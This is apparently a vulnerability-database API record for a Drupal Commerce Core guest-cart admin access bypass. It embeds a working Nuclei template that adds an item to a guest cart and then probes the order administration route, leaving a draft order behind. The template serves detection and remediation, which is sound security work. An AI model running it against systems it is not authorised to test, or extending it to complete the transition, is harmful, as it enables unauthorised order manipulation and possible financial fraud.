{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-118539/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-118539/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-118539/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-118539/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-118539/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-118539"},"sightings":{"href":"/api/v1/sightings/cve-2026-118539"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-118539.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-118539\n\ninfo:\n  name: Drupal Commerce Core < 3.3.13 / < 8.x-2.41 - Guest Cart Admin Access Bypass\n  author: alex700,dpuccetti,marcus_johansson,rsnyd\n  severity: critical\n  description: |\n    Drupal Commerce Core before 3.3.13 on the 3.x branch and before 8.x-2.41\n    on the 2.x branch does not sufficiently protect certain order administration\n    routes. This template finds a public product using a bounded set of 63\n    canonical product IDs, adds one item to a fresh guest cart, and checks\n    whether the guest can read that cart order's administrative state-transition\n    form. No account, prior order ID, JSON:API, or checkout is required. The\n    guest draft order persists. Sites without a usable product among the sampled\n    IDs produce no finding, which is inconclusive.\n  impact: |\n    An anonymous guest who owns a draft cart may reach an order administration\n    route that should require Commerce administration access. The advisory also\n    reports possible financial impact; this template only reads the confirmation\n    form and does not submit the transition or complete checkout.\n  remediation: |\n    Upgrade Commerce Core 3.x to 3.3.13 or the earlier branch to 8.x-2.41.\n    Review orders for inconsistencies as advised by Drupal.\n  reference:\n    - https://www.drupal.org/sa-contrib-2026-254\n    - https://www.drupal.org/project/commerce/releases/3.3.13\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-118539\n  classification:\n    cve-id: CVE-2026-118539\n    epss-score: 0.00305\n    epss-percentile: 0.23469\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    vendor: drupal\n    product: commerce_core\n  tags: cve,cve2026,drupal,commerce,access-bypass,unauthenticated,intrusive,vkev\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{RootURL}}/product/{{product_id}}\"\n    payloads:\n      product_id:\n        - \"1\"\n        - \"2\"\n        - \"3\"\n        - \"4\"\n        - \"5\"\n        - \"6\"\n        - \"7\"\n        - \"8\"\n        - \"9\"\n        - \"10\"\n        - \"13\"\n        - \"20\"\n        - \"27\"\n        - \"34\"\n        - \"41\"\n        - \"48\"\n        - \"55\"\n        - \"62\"\n        - \"69\"\n        - \"76\"\n        - \"83\"\n        - \"90\"\n        - \"97\"\n        - \"103\"\n        - \"150\"\n        - \"197\"\n        - \"244\"\n        - \"291\"\n        - \"338\"\n        - \"385\"\n        - \"432\"\n        - \"479\"\n        - \"526\"\n        - \"573\"\n        - \"620\"\n        - \"667\"\n        - \"714\"\n        - \"761\"\n        - \"808\"\n        - \"855\"\n        - \"902\"\n        - \"949\"\n        - \"996\"\n        - \"1003\"\n        - \"1470\"\n        - \"1937\"\n        - \"2404\"\n        - \"2871\"\n        - \"3338\"\n        - \"3805\"\n        - \"4272\"\n        - \"4739\"\n        - \"5206\"\n        - \"5673\"\n        - \"6140\"\n        - \"6607\"\n        - \"7074\"\n        - \"7541\"\n        - \"8008\"\n        - \"8475\"\n        - \"8942\"\n        - \"9409\"\n        - \"9876\"\n    threads: 1\n    stop-at-first-match: true\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"commerce-order-item-add-to-cart-form\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: form_build_id\n        part: body\n        regex:\n          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name=\"form_build_id\" value=\"([^\"]+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: form_id\n        part: body\n        regex:\n          - '(?s)commerce-order-item-add-to-cart-form[^>]*>.*?name=\"form_id\" value=\"([^\"]+)\"'\n        group: 1\n        internal: true\n      - type: regex\n        name: selected_product_id\n        part: body\n        regex:\n          - 'name=\"form_id\" value=\"commerce_order_item_add_to_cart_form_commerce_product_([0-9]+)\"'\n        group: 1\n        internal: true\n\n  - method: POST\n    path:\n      - \"{{RootURL}}/product/{{selected_product_id}}\"\n    headers:\n      Content-Type: application/x-www-form-urlencoded\n    body: 'form_build_id={{url_encode(form_build_id)}}&form_id={{url_encode(form_id)}}&op=Add+to+cart'\n    redirects: true\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/cart\"\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"views_form_commerce_cart_form_default_\")'\n        internal: true\n    extractors:\n      - type: regex\n        name: order_id\n        part: body\n        regex:\n          - 'name=\"form_id\" value=\"views_form_commerce_cart_form_default_([0-9]+)\"'\n        group: 1\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/admin/commerce/config/orders\"\n    cookie-reuse: true\n    matchers:\n      - type: status\n        status:\n          - 403\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{RootURL}}/admin/commerce/orders/{{order_id}}/state/place\"\n    cookie-reuse: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 && contains(body, \"name=\\\"form_id\\\" value=\\\"commerce_order_default_state-transition-confirm_form\\\"\")'\n# digest: 4b0a00483046022100fa46c66d6bf3836866ddf3045ddb4629cd3e3b77fc87079d8f34a96b5f0a248e022100d08ecb51eb1e0300892d1f312831a53511ea49ede6570f7d35eab34b55452ecc:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-118539"}